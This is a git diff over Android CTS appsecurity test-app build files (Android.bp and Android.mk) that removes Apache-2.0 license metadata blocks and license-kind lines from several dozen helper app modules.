diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
index 974e2ea..efe40a7 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsExternalStorageApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
index 0c9df8e..3140efa 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstantCookieApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
index 5c4573b..33d63d1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstantCookieApp2",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
index 677558a..23a9a02 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstantUpgradeApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
index fcd862d..ebc9394 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstrumentationAppDiffCert",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
index ce2dcbd..796b0b0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIsolatedSplitApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
index 814e038..07d7fa6 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIsolatedSplitAppFeatureA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
index bee1a5c..00aaef0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIsolatedSplitAppFeatureB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
index f5c109d..bf0adb4 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIsolatedSplitAppFeatureC",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
index 43acdfe..2259463 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
@@ -20,8 +20,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts_signature_query_service
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-Iaidl-files-under, src)
LOCAL_SDK_VERSION := current
@@ -68,3 +66,4 @@
cert_dir :=
include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
index 6fc4ac5..e010317 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsListeningPortsTest",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d5162f4..83c6cb9 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLocationPolicyApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
index 2bf1d0a..5584ba2 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMajorVersion000000000000ffff",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
index b8d3ddc..97a1eda 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMajorVersion00000000ffffffff",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
index 3ba2c30..98c4deb 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMajorVersion000000ff00000000",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
index a037e79..cb9272c 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMajorVersion000000ffffffffff",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
index e094370..fa94e20 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "CtsMajorVersionCommon",
srcs: ["**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
index a110ce0..2cf6d92 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMediaStorageApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
index 0ec98cb..dd59913 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMultiUserStorageApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
index 6368312..92fc9c3 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsNoRestartBase",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
index 0baacdb..22dc85c 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsNoRestartFeature",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
index 75aa44f..b843d42 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOrderedActivityApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
index 063432c..02fe5bc 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPkgAccessApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index c9150a8..2739866 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPkgInstallerPermRequestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index 8580292..87d2610 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPkgInstallerPermWhitelistApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index 0360901..9b3cbdf 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPermissionDeclareApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 22d6d2a..3414f95 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPermissionDeclareAppCompat",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
index d7a6cd7..91cb9bc 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
@@ -1,10 +1,6 @@
//##########################################################
// Package w/ tests
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPrivilegedUpdateTests",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 59e714f..a99a78f 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -7,8 +7,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsShimPrivUpgradePrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_CLASS := APPS
LOCAL_BUILT_MODULE_STEM := package.apk
@@ -29,8 +27,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_CLASS := APPS
LOCAL_BUILT_MODULE_STEM := package.apk
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
index 768a3c0..3b08af0 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsReadExternalStorageApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
index 797e317..4d46c79 100644
--- a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSessionInspectorAppA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
index 572f459..f547599 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSharedUidInstall",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
index 2804998..0fb005f 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSharedUidInstallDiffCert",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
index 12f8f73..76c8a2a 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimpleAppInstall",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
index ddad4ea..279f2de 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimpleAppInstallDiffCert",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index daa8a8f..e495ad3 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -19,8 +19,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := libsplitappjni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_SRC_FILES := com_android_cts_splitapp_Native.cpp
LOCAL_LDLIBS += -llog
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
index ab51a4f..3719805 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsStorageAppLib",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
index 4a2d4fa..d7c9fd8 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStorageStatsApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
index ba0bbee..03282b3 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsTargetInstrumentationApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
index 22bf8d4..ce44a1c 100644
--- a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseEmbeddedDexApp_Canonical",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index b7ea673..c3ab6bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionDiffCert",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
index 6540ac9..38ccc7f 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessFailActivity",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
index 8665e69..94fbf5f 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessFailApplication",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
index f0b9223..bf94a46 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessFailProvider",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
index b06920b..8a0fa9b 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessFailReceiver",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
index bba62ad..44ad956 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessFailService",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
index aa9c52a..8887a88 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUseProcessSuccess",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
index c799d9d..5b13a8b 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsV3SigningSchemeRotationTest",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
index fa03865..cf2cb34 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsWriteExternalStorageApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
index 94742eb..65784ce 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
